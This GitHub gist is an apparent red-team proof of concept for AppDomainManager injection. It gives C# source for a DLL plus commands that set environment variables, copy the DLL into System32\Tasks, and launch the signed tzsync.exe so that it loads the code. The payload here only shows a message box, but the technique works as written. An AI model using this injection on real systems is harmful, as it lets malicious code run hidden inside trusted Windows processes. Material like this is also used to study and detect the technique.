Skip to content

Instantly share code, notes, and snippets.

@secdev02
Created July 18, 2026 11:56
Show Gist options
  • Select an option

  • Save secdev02/b4bc365528b1a6e4b2c02f82a80360e2 to your computer and use it in GitHub Desktop.

Select an option

Save secdev02/b4bc365528b1a6e4b2c02f82a80360e2 to your computer and use it in GitHub Desktop.
TZSync.exe -
using System;
using System.EnterpriseServices;
using System.Runtime.InteropServices;
public sealed class MyAppDomainManager : AppDomainManager
{
public override void InitializeNewDomain(AppDomainSetup appDomainInfo)
{
System.Windows.Forms.MessageBox.Show("AppDomain - KaBoom!");
// You have more control here than I am demonstrating. For example, you can set ApplicationBase,
// Or you can Override the Assembly Resolver, etc...
return;
}
}
/*
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /target:library /out:tasks.dll tasks.cs
set APPDOMAIN_MANAGER_ASM=tasks, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
set APPDOMAIN_MANAGER_TYPE=MyAppDomainManager
set COMPLUS_Version=v4.0.30319
copy tasks.dll C:\Windows\System32\Tasks\tasks.dll
copy tasks.dll C:\Windows\SysWow64\Tasks\tasks.dll
C:\Windows\System32\tzsync.exe
*/

Comments are disabled for this gist.